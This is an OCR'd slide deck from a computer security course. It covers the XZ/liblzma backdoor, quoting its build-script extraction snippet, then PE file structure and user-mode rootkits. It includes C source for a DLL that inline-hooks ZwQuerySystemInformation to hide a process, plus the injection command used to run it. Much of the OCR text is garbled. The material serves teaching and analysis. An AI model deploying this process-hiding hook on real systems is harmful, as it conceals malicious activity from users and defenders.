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Overview

e XZ Outbreak is a collection of open-source tools and libraries for X2 compression
format, used for high compression ratios

* On March 29th, a backdoor was discovered in xz/liblzma version 5.6.0 and 5.6.1

= https://www.youtube.com/watch?v=bS9em7Bq0iU

= https://www.youtube.com/watch?v=0pT-dWpmwhA

Page = 2


https://www.youtube.com/watch?v=bS9em7Bg0iU
https://www.youtube.com/watch?v=0pT-dWpmwhA

GitHub Activity Summary

Github Activity Summary (user: JiaT75)

PR opened in oss-fuzz to Obfuscated/encrypted stages binary backdoor

: - : disable ifunc for fuzzing hidden in two test files:
Repository: JiaT75's first commit ) ‘
5 httpe://qithub.com/tukaani-project/xz to the ¥z repo builds. Al.le.gedly tomaskthe || tests/f!les/bad—3-corrupt_lzma2.xz
malicious changes. o testg/files/qood-large_compressed.lzma.
E.J £022,02.05 2023-07-08 2024-03-09
2021 \‘—‘o 202 2 \s_ao
: 17 2023-06-28 e xz/libzma
Hser ; 3 T‘?Z“;C‘T 3 ol mfrostrctore tecte: | | Malicious “build-to-host.md” file added
cfigatesnis GIEhud/Accoun® : g 2 to .gitignore, later incorporated to the v5.6.0 & v5.6.1
liblzma: “Add ifunc implementation e
to crcby_fast.c." RSt e |
Packaged in the final releases /’
f ____________________________
*User JiaT75 opened an issue and submitted a PR on Feb 6, 2022 to the XZ

repo
*The malicious PR obscured/encrypted stages to add a binary backdoor

hidden in test files
*Backdoor added in two test files: tests/files/bad-3-corrupt_lzma2.xz and

tests/files/good-large _compressed.lzma

Credit for the fiegure:



\
SN
The MY macro is executed during the build @
process and runs the malicious code below. CD

gl_[$1]_config='sed \"r\n\" $gl_am_configmake |

eval $gl_path_map | $gl_[$1]_prefix -d 2>/dev/null’

gl_path.map="tr *\t \-_" " \t_\-"°
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/—btests/fﬂes/bad-3-corrupt_lzmaz.xz

Read Bytes

Substitution to uncorrupt \
malformed Xz file >
7

e 0x09 (\t) are replaced with 0x20

® 0x20 (whitespace) are replaced with 0x09
e 0x2d(-) are replaced with Ox5f

e O0x5f () are replaced with Ox2d

J

Credit for the fiegure:

*Uncorrupted*
bad-3-corrupt_lzma2.xz



Timeline

e 2021: User JiaTan (JiaT75) creates his GitHub account

* 2023-06-28: Potential infrastructure testing, liblzma "Add func implementation
to crack fast.c"

e 2024-02-16: Malicious "build-to-hostenv" file added to .gitignore, later
incorporated into package release

e 2024-03-09: Build process of v5.6.0 and v5.6.1 releases packagedin the final
releases
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CSC 583 Advanced Topics in Computer Security
PE Structure (2) & Stealth process

Si Chen (schen@wcupa.edu)




Class Overview

= Review of PE (Portable Executable) Structure
— Key components: DOS header, PE header, Section table, Sections
— DOS header: MZ signature, pointer to PE header
— PE header: Signature (PE\0\0), machine type, number of sections, timestamp
— Section table: Name, virtual size/address, raw data size/pointer, characteristics
— Common sections: .text, .data, .rsrc
» Stealth Process Techniques (APl Hooking)
1. Definition: Intercepting and modifying API calls
2. Techniques: Inline, IAT, and EAT hooking
3. Examples: Hiding processes, files, and network connections
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Portable Executable (PE) file

= PE formatted files include:

— .exe, .scr (executable) {' g

— .dll, .ocx, .cpl, drv (library)

— .8ys, .vxd (driver files)
— .obj (objective file)
= All PE formatted files can be executed, except obj file.
— .exe, .scr can be directly executed inside Shell (explorer.exe)
— others can be executed by other program/service

= PE refers to 32 bit executable file, or PE32. 64 bit executable file is
named as PE+ or PE32+. (Note that it is not PE64).
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Load PE file (Notepad.exe) into Memory
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Notepad.exe

<File> <Memory>

Offset Offset
00000000 DOS header DOS header 01000000
00000040 DOS stub DOS stub 01000040
000000EQ NT header NT header 010000EO0
000001D8 Section header (.text) Section header (.text) 010001D8
00000200 Section header (.data) Section header (.data) 01000200

00000228 Section header (.rsrc) Section header (.rsrc) 01000228

Section (.text)

00000400

s00  Section (text) 01001000

7748

00007C00
8o  Section (.data)

00008400
01009000
8400 gection (.rsrc)
Section (.data) 1Bas
o _
0100B000
Section (.rsrc) s34
01014000




DOS Header

struct DOS_Header

/ﬁ P The first 2 letters are always the
short 1s ytes, ong 1s ytes " " . ey
char signature[2] = { 'M', 'Z' }; letters "MZ", the initials of Mark

SEIEE IO Zbikowski, who created the first linker
short nblocks; .
short nreloc; for DOS. To some people, the first few
short hdrsize; bytes in a file that determine the type
short minalloc; . " . "
short maxalloc; of file are called the "magic number,

void *ss; // 2 byte value
void *sp; // 2 byte value
short checksum;

void *ip; // 2 byte value
void *cs; // 2 byte value
short relocpos;

short noverlay;

short reservedl[4];

short oem id;

short oem info;

short reserved2[10];

long e lfanew; // Offset to the 'PE\0\0' signature relative to the beginning of the file
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DOS Header

offset(h) 00 01 0z 03 04 05 06 07 08 092 0L OB OC OD QOE OF Decoded text

8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 L. ee... B.......
0 00 00 00 oo o0 o0 00 00 00 00 00 00 00 00 OO0 4 e e e e e e e snnsnns
0 00 00 O00 oo o0 o0 00 oo o0 o0 o0 JEQ0 OO0 00 OO0 v e e e e e e e esas ...

aooooooo hD 5L|90 00 O3 00 00 OO 04 OO0 00 OO FF OFF OO OO %z __________ Wi, .
______ B

QoO0ooz0 ]

I L

oO0O0030 0

e Ifanew - 000000EO
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.
e s
BININININY Ry
________

https://virtualconsoles.com/online-emulators/dos/

OE
=)

6D

EC &

6B

BB
6B
oo

24 2

1F Bh OE 00O E4 09
'3 20 70 T2 aF a7
0 62 65 20 72 75
F ed a5 ZE OD 0D
5 5B Ll A3 E4 35
EE 34 F2 A9 E4 35
EE 68 F2Z BEE E4 35
EE 6B Fz A9 E4 35
EE 6F Fz A9 E4 35
00 00 00 00 oo o0

CcDh 21
72 68l
6E 20
249
Jik

On
Fz
Fz
FZ A3
Fz 6B
Fz 5&
oo Qo

ES
B

65

01
20
6E
a0 0o
Ed 35
EE 55
E4 34
EE 6A
69 63
00 0o

21 .

6E

qF .

E4 .

E4
E4

E4 .

E4
an
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C:\>notepad.exe

This program camot be run in DOS mode.

RIS S A
15 prograim canno

£t he run in DO3
mode . ... 5. ...
i. [ &50 &84 &50
ké:a@a50keTa®aso
kEho=&a50 400850
kEko@aSokejos A50
kEod@a5oRich &50



https://virtualconsoles.com/online-emulators/dos/

NT Header

IMAGE_NT _HEADERS32 structure

12/04/2018 « 2 minutes to read

Represents the PE header format.

Syntax
@ qﬁCopy

typedef struct _IMAGE_NT_HEADERS {
DWORD Signature;
IMAGE_FILE_HEADER FileHeader;
IMAGE_OPTIONAL_HEADER32 OptionalHeader;

} IMAGE_NT_HEADERS32, *PIMAGE_NT_HEADERS32;

Members
Signature

A 4-byte signature identifying the file as a PE image. The bytes are "PE\0O\0".
FileHeader

An IMAGE FILE HEADER structure that specifies the file header.

OptionalHeader

An IMAGE OPTIONAL HEADER structure that specifies the optional file header.

https://docs.microsoft.com/en-
us/windows/desktop/api/winnt/
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NT Header

5] MOTEPAD.EXE

Offset (h)

QoOo000ED
QooooorFo
Qoooo10o0
Qooo0o011o
ooo0o01zo
I Qoo00130

Qoo0o0140
ooo0o0150
Qoo001a60
Qoooo17o
Qooo0o013o
Qoooo0190
Qoo0001A0
QOoo0001Bo0
Qaoooo1co
y  0oooo1no

01 02 03 04 05 06 07

Page = 14
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C3 EO
01 07
73 00
10 00
00 00
30 01
00 10
00 00
oo
0o oo
13 00
ool oo
18 00
10 00
0o oo

[

EBO

ac

an

OE

aF

Decoded text

FE..L...£0%J....




Section Header
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DOS MZ Header J

PE Header

Section Table

data

.code Executable, read
.data Non-Executable, read/write
-resource Non-Executable, read



Section Header

IMAGE_SECTION_HEADER structure

12/04/2018 « 4 minutes to read

Represents the image section header format.

Syntax

C++ [ECopy

typedef struct _IMAGE_SECTION_HEADER {
BYTE Name [IMAGE_SIZEOF_SHORT_NAME];
union {
DWORD PhysicalAddress;
DWORD| VirtualSize;
} Misc;
DWORD| VirtualAddress;
DWORD| SizeOfRawData;
DWORD| PointerToRawData;
DWORD "POINTEFrTORELOCations;
DWORD PointerToLinenumbers;
WORD NumberOfRelocations;
WORD NumberOfLinenumbers;
DWORD| Characteristics;
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;



Section Header

Notepad.exe
<File> <Memory>

Offset Offset
00000000 DOS header DOS header 01000000
00000040 DOS stub DOS stub 01000040

VirtualSize The total size of the

000001D8 Section header (.text)

section when loaded into  SoaEaEeE =

memory, in bytes. \
VirtualAddress The address of the first Secton (01)

byte of the section when ™ EIEEES
. o 0 Section (.data)  18as
SizeOfRaw Data The size of the section -
data on disk, in bytes.

Section header (.text) 010001D8
Section header (.data) 01000200

Section header (.rsrc) 01000228

loaded into memory (RVA) ™

Section (.rsrc) a4

PointerToRawData The address of the first
byte of the section on
disk.

Characteristics The characteristics of the
image.

01014000

https://docs.microsoft.com/en-
us/windows/desktop/api/winnt/ns-winnt-
Page 17 _image_section_header



Implicit Linking and IAT (Import Address Table)

= Notepad.exe Call CreateFileW() - Call 0x01001104 - Call 0x7C810CD9

Ollthg - NOTEPAD.EXE - [CPU - main thread, module NOTEPAD]
File Wiew Debug Plugins Options ‘Window Help

_IJJ >lu| v+ {1 2| = u|s{wv|w|sc|s|xn|n|-|s| =2

] inal
HH” DMHFD FTR D5:[C1
CALL DWORD PTR DS:
MO ER: DMHFD
LISH HHTEFHE
OWorRD !
QWoORD FTR
OWoRD FTR
OWORD FTR
OWoORD FTR
OWorRD FPTR
OWorRD PTR 0
ALL OWarD FTF D
TE;T ER®, ERX
JE HHFT MOTEFAD. 81
HH” EDI DMHFD FTR D5:
H

]

L Lstropuhl

FpdpenF i leMame = HOTEPAD. B188A&SE

Al

1 NOTEFAD. &
1. MOTEFAD. &
S2 1864

UHICODE "tut™ nedllL
HOTEP
3Zbit
‘bit
‘bit
‘bit
‘bit
HULL

UMICODE "MpEncodingbialog™

L)

HOTEFAD. &
MOTEFAD. &

W kGetOpenF i LeMHamel

=
)

AL
Agun])

hT»HDle‘FL[»

' = Err ERROR]
45 [HO,H
B empty —-UMORM B
1 empty +l IHI IRM &
empty
empty

Daé = FILE_SHARE_RERD:FILE_SHF
= GEMERIC_RERD

E i l=tame

[LlreateFilell

ALl

r—| T=1 |_|||_|| |r~ IR T
OWoORD FPTR D5:
LOWORD PTR

LCreateFiLell)

ASCII ~
AR 28 7C CB 99 20 7FC 48 HE 28 7C J.UEBﬂQILHG:@“Q: -
14 21 ¥vC 9C EE 28 7C 7D EE 28 7C|m u.ﬂﬂu.ﬁEG IEG]
l“@ FUG Al

u.BIE.

=[o

T
T
T
o
fin
-
[y
ey
i
\0
o0
o
fin
=
ly]
o
M
m
I
o
=
=
o
%7

g

—
s
m
ﬁT
o,
il

—_
B
o
Lik]
= |
L]
m
o
v
w0
o
=
|
L]
—-
£
m
I
o
=
|
)
e o o
Cx ity
(=l L NI
= I Fib-»
St g W
g—lfjmlmlm
o vl s,
a—q—u
oo
Aco0 cooh
= =)

T

|

o1

98 42 FYE 38 99 42 VE 90 26 41 YE|....AEB £3
47 42 7E 22 78 42 7E F6 9B 42 7E|[F2A°%GE"""xB"+¢B"
Bl 42 YE 7B 1F 432 VE 56 AF 42 YE| 1B"£#B"{YC"L=B"
97 42 YE C¥ 82 42 VE D2 298 41 7YE|#UB” uB”|teC"rER™
EE 42 YE 22 B2 42 FE ¥F AF 41 7E|&hA"vEE""@E"&::R"
90 41 YE 46 OE 41 FE A3 DB 42 YE|ui{B” i¥A"F [A"uLE"
92 42 YE BC E2 42 FE BE 9¢ 42 FE|pTB"SdB"¥ B RaBE"
AF 41 YE AB AE 42 FE 58 F7 42 7YE|£=B"4-:A"%«B"PxB"
92 41 YE 49 92 42 VE 15 B4 42 YE LEB”cEﬂ”IyB”EﬁB” b

WG A =LY VG =i

frifurifurifariforforiferfforarfarforerorfarier fof | |
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Implicit Linking and IAT (Import Address Table)

» Notepad.exe Call CreateFileW() > Call 0x01001104 - Call 0x7C810CD9

Call 0x01001104

Look up
|AT Table

CreateFileW() 0x01001104 0x7C810CD9

When the application was first compiled, it was designed so that all API calls will

NOT use direct hardcoded addresses but rather work through a function
pointer.

This was accomplished through the use of an import address table. This is a
table of function pointers filled in by the windows loader as the dlls are loaded.

Page =
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IAT (Import Address Table)

» Support different Windows Version (9X, 2K, XP, Vista, 7, 8, 10)

Call CreateFileW() --> Call 0x01001104
l Look up

XP |AT Table

CreateFileW() 0x01001104 0x7C810CD9

Windows 7

CreateFileW() 0x01001104 0x7C81FFFF
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IAT (Import Address Table)

= Support DLL Relocation

Demo.exe

10000000 A.DLL

ImageBase: 10000000
B.DLL

ImageBase: 10000000
\rw B.DLL
relocation ImageBase: 10000000
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Look up IAT Table with PEview

X, PEview - C:\WINDOWS\NOTEPAD. EXE

File Miew Go

P OO0O MMFH wmm o
1 MOTEPAD.EXE » pFile Data Description “alue ~
IMAGE_DOS_HEADER 000004 E8 00007D5C  Hint/Mame RWA, 0254 LocalUnlock
WMS-DOS Stub Program O00004EC 0000706A  Hint/Mame RWA 0035 CompareStringyy
=- IMAGE_MT_HEADERS Ooooo4Fa 0000707 C Hint/Mame RWA, 0250 LocalLock
Signature 000004F 4 00007088 Hint/Mame RWA ODEA FoldStringyy
IMAGE_FILE_HEADER 000004FS 00007095 Hint/Name RWA, 0031 CloseHandle
IMAGE_OPTIOMAL HEADER 000004F C 00007DA4  Hint/Mame RWA, 0383 lstropyvy
IMAGE_SECTION_HEADER .text 00000500 00007DED - Hint/Mame RWA 02A5 ReadFile
IMAGE_SECTION_HEADER .data - 00000504 00007DBEC  Hint/Mame RYWA 0052 CreateFiley
IMAGE_SECTION_HEADER .rsrc 00000505 00007 DCA  Hint/Mame RYWA O3B0 Istrempivy B
= SECTION text aoooosac 00007006 Hint/Mame RWA, 0M13C GetCurrentProcessid
IMPORT Address Table 0oaoos10 ODO07DEC  Hint/MName RYWA, 0198 GetProcAddress
IMAGE_DEBUG_DIRECTORY || ODoooS14 O0007DFE  Hint/Mame RWA 0104 GetCommandLineyV
IMAGE_LOAD CONFIG_DIRECTORY 00000515 O00007E1D  Hint/Name RWA O3AA |stroatyy
IMAGE_DEBUG_TYPE_CODEWIEWW 0000051 c O0007E1C  Hint/Mame RWA, 00CC FindClose
IMPORT Directory Table 00000520 O0007EZ28  Hint/Name RWA 0003 FindFirstFileyy
IMPORT Mame Table 00000524 O0007E3A  Hint/Mame RWA, 0159 GetFileAttributesyy
IMPORT Hints/Mames & DLL Mames noDans2a DODOFESD  Hint/Mame RYA, 03AD Istrempyy
SECTION .data 0000052C O00007ESC  Hint/Mame RWA 0266 MulDiy
=- SECTION .rsrc 00000530 00007EBE  Hint/MName RWA, 0386 Istrcpynyy
IMAGE_RESOURCE_DIRECTORY Ty 00000534 O0007EYZ  Hint/Name RWA 0253 LocalSize
IMAGE_RESOURCE_DIRECTORY M: 00000535 O00O7FEYE  Hint/Mame RWA, 0168 GetlLastErrar
IMAGE_RESOURCE_DIRECTORY Lz 0000053C O00O7ESE  Hint/Mame RWA, 0390 WriteFile
IMAGE_RESOURCE_DATA_ENTRY 00000540 O0007ESA Hint/Mame RWA, 0316 SetLastError
IMAGE_RESOURCE_DIRECTORY S & || 00000544 00007 EAA  Hint/Mame RWA 0383 WideCharTaMultiByte «
< | B e | 3
Miewing IMPORT Address Table
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Stealth process
(User-mode rootkits)

AR
B\
ROOTKIT

PPPPPPP



Processes in Windows

i ™\
"% Windows Task Manager l — ‘i&J
File Options View Help
Applications | Processes | Services | Performance | Networking | Users

Image Name User Name CPU Memory (Priv... Description -
avagnt.exe *32  Lincoln 00 2,108K Avira system tre|
chrome.exe *32 Lincoln 00 51,504K Google Chrome |~
chrome.exe *32 Lincoln 00 66,136 K Google Chrome
chrome.exe *32 Lincoln 00 11,192K Google Chrome
chrome.exe *32 Lincoln 00 129,420 K Google Chrome
chrome.exe *32 Lincoln 00 90,780 K Google Chrome
chrome.exe *32 Lincoln 00 5,860 K Google Chrome
chrome.exe *32 Lincoln 00 90,708 K Google Chrome
chrome.exe *32 Lincoln 00 31,696 K Google Chrome
chrome.exe *32 Lincoln 00 68,612K Google Chrome
chrome.exe *32 Lincoln 00 129,768 K Google Chrome
chrome.exe *32 Lincoln 00 9,100K Google Chrome
chrome.exe *32 Lincoln 00 27,316 K Google Chrome
chrome.exe *32 Lincoln 00 10,160 K Google Chrome «
< 1] 3

4y Show processes from all users End Process

Processes: 135 CPU Usage: 0% Physical Memory: 71%
“ 7
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Stealth Process

Northrop Grumman B-2 Spirit

Page = 25




Stealth Process

Stealth Process
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APl Hook Tech Map

DebugActiveProcess

Interactive Debug GetThreadContext

P M SetThreadContext

rocess/iviemory
1) AT '"degf;:em CreateRemoteThread
Dynamic 00000000 o) (et

ZEEFEFEF 3) EAT Standalone Resistry (Applnit_DLLs)

) Injection o1l File BHO (IE only)

1

SetWindowsHookEx
CreateRemoteThread
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Processes in Windows

% Windows Task Manager oo |

» Detect Processes in User Mode (WinAPI):
— CreateToolhelp32Snapshot()

File Options View Help

Applications | Processes | Services | Performance | Networking | Users

Image Name User Name CPU Memory (Priv... Description

avant.exe *32  Lincoln 00 2,108K  Avira system trz| _ — E N u m P ro CeSS()

chrome.exe *32 Lincoln 00 51,504K Google Chrome |~

chrome.exe *32 Lincoln 00 66,136 K Google Chrome

chrome.exe *32 Lincoln 00 11,192K Google Chrome

chrome.exe *32 Lincoln 00 129,420K Google Chrome

chrome.exe *32 Lincoln 00 90,780 K Google Chrome HAN D L E C t T I h I 328 h t(
chrome.exe *32 Lincoln 00 5,860 K Google Chrome rea e OO e p n a pS O

chrome.exe *32 Lincoln 00 90,708 K Google Chrome DWO R D d F I

chrome.exe *32 Lincoln 00 31,696 K Google Chrome W a g S y

chrome.exe *32 Lincoln 00 68,612K Google Chrome

chrome.exe *32 Lincoln 00 129,768 K Google Chrome DWO R D th 32 P ro Ce SS I D

chrome.exe *32 Lincoln 00 9,100K Google Chrome

chrome.exe *32 Lincoln 00 27,316 K Google Chrome ) y
chrome.exe *32 Lincoln 00 10,160K Google Chrome «
) oo
= —_— Takes a snapshot of the specified
| ¥y Show processes from all users | End Process
processes, as well as the heaps,
Processes: 135 CPU Usage: 0% Physical Memory: 71%

modules, and threads used by these
processes.

BOOL EnumProcesses(
DWORD *IpidProcess,
DWORD cb,

LPDWORD IpcbNeeded

);

I?’age =28

Retrieves the process identifier for
each process object in the system.




Processes API

CreateToolhelp32Snapshot()

EnumProcess()

=

ntdll.ZwQuerySystemInformation() I

pe

1% Windows Task Manager

| ol ) |

File

Options View Help

Image T\Iame
avagnt.exe *32
chrome.exe *32
chrome.exe *32
chrome.exe *32
chrome.exe *32
chrome.exe *32
chrome.exe *32
chrome.exe *32
chrome.exe *32
chrome.exe *32
chrome.exe *32
chrome.exe *32
chrome.exe *32
chrome.exe *32

£

User Name CPU Memory (Priv...

Lincoln
Lincoln
Lincoln
Lincoln
Lincoln
Lincoln
Lincoln
Lincoln
Lincoln
Lincoln
Lincoln
Lincoln
Lincoln
Lincoln

00
00
00
00
00
00
00
00
00
00
00
00
00
00

| @&
| H5)Show processes from all users

Processes: 135

CPU Usage: 0%

2,108K
51,504K
66,136 K
11,192K
129,420K
90,780K
5,860K
90,708 K
31,696 K
68,612K
129,768 K
9,100K
27,316 K
10,160 K

Applications | Processes | Services | Performance | Networking | Users

Description

Avira system tre| _

Google Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome
Google Chrome

»

End Process

Physical Memory: 71%

-

ntdll.ZwQuerySystemInformation()

NTSTATUS WINAPI ZwQuerySystemInformation(
_In_ SYSTEM_INFORMATION_CLASS
SystemInformationClass,
_Inout_ PVOID

_In_ ULONG
_Out_opt_ PULONG

);

SystemInformation,
SystemInformationLength,
ReturnLength

Page = 29

Retrieves the specified system
information.



“procexp.exe”

Code section for procexp.exe

00422CF7 CALL DWORD PTR DS:[48C69C]

IAT section for procexp.exe

0048C69C 2ED9937C

“ntdlIl.dIl”

;ntdil.ZwQuerySysteminformation()

7C93D92E MOV EAX, 0AD

7C93D93A RETN 10




“procexp.exe”

Code section for procexp.exe

IAT section for procexp.exe

0048C69C 2ED9937C

00422CF7 CALL DWORD PTR DS:[48C69C]

“stealth.dll”

10001120. SUB ESP, 10C
100116A Call unhook()
1001198. CALL EAX; EAX = 7C93D92E

CALL Hook()
RETN 10

“ntdll.dll”

;ntdll.ZwQuerySysteminformation()
7C93D92E JMP 10001120

7C93D93A RETN 10




Create Stealth Process

CreateToolhelp32Snapshot()
EnumProcess()

= ntdII.ZwQuerySystemInformation()I

ntdll.ZwQuerySystemInformation()

\ 4

A

Process1 Process?2

Process1 ——| Process3

Process3

A 4
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Process4
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Process4




Processes in Windows

e

1% Windows Task Manager =R X
File Options View Help
Applications | Processes | Services | Performance I Networking ‘ Users |
& Process Explorer - Sysinternals: www.sysinternals.com [WykydtronII\mvanhelder] =
» File Options View Process Find Handle Users Help
Image Name User Name CPU Memory (Priv... Description - - = T i 11 2T ] 7 M 111
g & : FIEIEEEEEEI Y] I I ] | il | IL
avant.exe *32 Lincoln 00 2,108K Avira system trz E Process CPU| Private Bytesl Working Set| PID | Description | Company Name ‘A
chrome.exe *32 Lincoln 00 51,504K Google Chrome 1) RAVBg64 exe 15,704 K 4728 K 4572 HD Audio Background Process Realtek Semiconductor
- : i NvBackend exe <0.01 18,848 K 21592K 4776 NVIDIA Backend NVIDIA Corporation
chrome.exe *32 Lfna)ln 00 66,136 K Google Chrome u | msseces.exe 5972K 6,752 K 4916 Microsoft Security Client User Interfface Microsoft Corporation
chrome.exe *32 Lincoln 00 11,192K Google Chrome & & googledrivesync exe 1.820K 1.256K 4988 Google Drive Google
chrome.exe *32 Lincoln 00 129,420K Google Chrome &, googledrivesync exe 0.35 86316 K 72,864 K 3268 Google Drive Google
= 2 B @ chrome.exe 0.25 609.944 K 612968 K 4596 Google Chrome Google Inc. F
chrome.exe *32  Lincoln 00 80,780K  Google Chrome G chrome exe 2.352K 2932K 5072 Google Chrome Google Inc. il
chrome.exe *32 Lincoln 00 5,860K Google Chrome @ chrome exe 2188K 2020K 4256 Google Chrome Google Inc.
chrome.exe *32 Lincoln 00 90,708 K Google Chrome ¢ chrome exe 173.040K 150.632K 404 Google Chrome Google Inc.
» R ¢ chrome exe 52,044 K 35,816 K 5312 Google Chrome Google Inc.
chrome.exe *32  Lincoln 00 31,696K Google Chrome G chrome.exe N0R  97RK  347112K 5324 Gonale Chmme. Gonale Inc ‘Ill
chrome.exe *32 Lincoln 00 68,612K Google Chrome £ chome exe | | '
chrome.exe *32 Lincoln 00 129,768 K Google Chrome FTYPe = |CN'alTe P e T =TH 21 - I =
£ S ile ‘\Users\mvanhelder\AppData'\Local\Google \Chrome\User Data‘\Default\Exension State...
chrome.exe *32  Lincoln 00 9,100K  Google Chrome File C:\Users'\mvanhelder\App Data'\Local\Google\Chrome'\User Data‘\Default\GPUCache\index —
chrome.exe *32 Lincoln 00 27,316 K  Google Chrome File C:\Windows'\Fonts\tahoma ttf
+ 3 pt File C:\Users\mvanhelder\AppData‘\Local\Google\Chrome\User Data'\Default\Network Action ...
chrome.exe *32 Lincoln 00 10,160K Google Chrome « Fie CAWiridows\Foris\StaticCache dat
< T} » File C:\Windows\System32\en-US\user32.dll. mui
) File \Device\QWAVEdrv
= File \Device\Afd
» Show processes from all users } End Process ’ File C:\Users\mvanhelder\AppData\Local\Google\Chrome\User Data'\Default'\Session Storage...
File C:\Users\mvanhelder\App Data‘\Local\Google\Chrome'\User Data\Default'\Session Storage... =
; T fCPU Usage: 13.74% |Commit Charge: 45.84% [Processes: 132 Physical Usage: 76.09% | 4
Processes: 135 CPU Usage: 0% Physical Memory: 71%

’ ProcExp.exe

taskmgr.exe ntdll.ZwQuerySystemInformation()

ntdll.ZwQuerySystemInformation()
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Example 1: Stealth Process

» Download and try StealthProcess1.zip
£ - =]

e
O Back - ﬁ Search Folders Ev
fddress |2 Ci\Waork 4 ﬂ )
; ~ T ) 'S
File and Folder Tasks - InjectDl "h-_ rvhack. dll
o
_J Make a new Folder
' . ' s,
&8 Publish this Folder to the indes ,
@ Weh ame 'ﬁ_ rvhack_hacked.dl
ied Share this Folder
E—T|
—~ HideProc
Other Places £

o Local Disk (C:) ‘.hl
= My Documents W | stealth.dil
[y My Documents ‘ '*-h']

) Shared Docun

3 My Computer ¢+ Command Prompt

&g My Network P 4,092 /2019 : 51,288 HideProc.exe
A3-85-2019 : 172.964 index.html
H1.-23/,2019 : 45,856 InjectDll.exe
H1.-23-,2019 : 75,264 myhack.dll
Details A3-85./2819 H ?5.264 myhack_hacked.dll
H 43.528 stealth.dll
H 149,152 strings.exe
S 612,428 hytes
DirdisD 8.011,.280,.384 bytes free

C:“lWork>*HideProc.exe —hide notepad.exe C:Worksstealth.dll
C:“Work>*HideProc.exe —hide notepad.exe C:sWorksstealth.dll

.exe —hide notepad.exe GC:“Work:stealth.dll
=

m annlicatinne | Processes
Page =34 HideProc.exe —hide notepad.exe C:\Work\stealth.dll




stealth.cpp = DIIMain()

BOOL WINAPI D11Main(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

char szCurProc[MAX_PATH] = {0,};

char *p = NULL;

// #1. Handle Exception
// 1f the current process is HideProc.exe then stop, DO not Hook itself
GetModuleFileNameA(NULL, szCurProc, MAX_PATH);
p = strrchr(szCurProc, *\\'):
if( (p !'= NULL) && !_stricmp(p+1, "HideProc.exe") )
return TRUE;

switch( fdwReason )

{
// #2. API Hooking
case DLL_PROCESS_ATTACH :
hook_by_code (DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
(PROC)NewzZwQuerySystemInformation, g_pOrgBytes);
break;
// #3. API Unhooking
case DLL_PROCESS_DETACH :
unhook_by_code(DEF_NTDLL, DEF_ZWQUERYSYSTEMINFORMATION,
g_pOrgBytes);
break;
}

return TRUE;
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yvilu _ _INITYULRTOTOITLEFLINDUREIA T LUIN _LINU,

// Only focus on SystemProcessInformation
if( SystemInformationClass == SystemProcessInformation )

{

// SYSTEM_PROCESS_INFORMATION convertation
// pCur is the head of the single linked list
pCur = (PSYSTEM_PROCESS_INFORMATION)SystemInformation;

while(TRUE)
{
// compare process name in the node
// g_szProcName --> the one that you want to hide (e.g. notepad.exe)
// defined in => SetProcName()
if(pCur->Reserved2[1] !'= NULL)

{
if(!_tcsicmp((PWSTR)pCur->Reserved2[1], g_szProcName))
{
// del the the process node
if(pCur->NextEntryOffset == @)
pPrev->NextEntryOffset = 9;
else
pPrev->NextEntryOffset += pCur->NextEntryOffset;
}
else
pPrev = pCur;
¥

if(pCur->NextEntryOffset == 0)
break;

// move to the next node
pCur = (PSYSTEM_PROCESS_INFORMATION)
( (ULONG)pCur + pCur->NextEntryOffset);
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stealth.cpp = DIIMain()

BOOL hook_by_code(LPCSTR szDl1lName, LPCSTR szFuncName, PROC pfnNew, PBYTE pOrgBytes)
{

FARPROC pfnOrg;

DWORD dwOldProtect, dwAddress;

BYTE pBuf[5] = {0xE9, 0, };

PBYTE pByte;

// Find the API that you want to hook
pfnOrg = (FARPROC)GetProcAddress(GetModuleHandleA(szD11Name), szFuncName);
pByte = (PBYTE)pfnOrg;

// if hooked then return FALSE
if( pByte[@] == OxE9 )
return FALSE;

// Add "write" privilege to memory (tweak 5 bytes)
VirtualProtect((LPVOID)pfnOrg, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);

// Copy old code (5 bytes)
memcpy (pOrgBytes, pfnOrg, 5);

// JIMP Calculation(E9 XXXX)

// => XXXX = pfnNew — pfnOrg - 5

dwAddress = (DWORD)pfnNew — (DWORD)pfnOrg - 5;
memcpy (&pBuf[1], &dwAddress, 4);

// Hook — tweak 5 byte (JIMP XXXX)
memcpy (pfnOrg, pBuf, 5);

// recovery memory property
VirtualProtect((LPVOID)pfnOrg, 5, dwOldProtect, &dwOldProtect);
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JMP instruction

JMP—Jump
Opcode Instruction Description
EBch JMP rel8 Jump short, relative, displacement relative to next instruction.
E9 cw JMP rel16 Jump near, relative, displacement relative to next instruction.
E9 cd JMP rel32 _Jump near, relative, displacement relative to next instruction.
FF /4 JMP /m16 Jump near, absolute indirect, address given in /m716.
FF /4 JMP r/m32 Jump near, absolute indirect, address given in /m32.
EA cd JMP ptr16:16 Jump far, absolute, address given in operand.
EAcp JMP ptr16:32 Jump far, absolute, address given in operand.
FF /5 JMP m16:16 Jump far, absolute indirect, address given in m16:16.
FF /5 JMP m16:32 Jump far, absolute indirect, address given in m76:32.
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| Windows

Create Stealth Process

o —

© NoVirusThanks Uploader 24.1.0
Refresh List File Resources Help Check for Updates
Name Brief Info a Uploader \ Downloader | Registry Startups | Search Okd Fles | Drivers Ust | Loaded DLs Settngs
= ~hrome Pr s Priorit Vinls
[CJ=chrome 5roces> ;:)”Oflky frjorma: \yluw = Select local fle to scan (5 M8 size knit):
[CJ==chrome rocess Priority: Normal; Vir—' i
= wininit Process Priority: High; Viruta O WetreRebnolDesiiopVieadme txt Browse... | Upload
== nusb3mon Priority: Normal; Vin
DE D ; -
~ g = L g ¥V n
[J=SUPERAN Priority: Normal; Vir Running Processes:
[J=sychost Process Priority: Normal; Vi w ~
[J==Presentatio Process Priority: Normal; Vin . ‘
4_ m » |
‘ ows\system32\sm.exe Terminate Process
Progress: ‘ ws\system32\winiogen. exe Delete File
‘;- ows\system32\svchost.exe Refresh
Fix Selected Problems View Removed Files Update Threat Database |= tationFontCache, exe ows WMicrosoft. NetFramework v 3 ik
. [® 7 svchost.exe we\system32gvchost.exe Upload To Virus Scanner
] ‘ = IMsMpEng.exe am Fles'\Maosoft Security Chent\Ant Open Containing Folder
|
ntdll.ZwQuerySystemInformation() | |rxe Show i Properies
. [ Tsvchost.exe — —
|® Jsvchost.exe
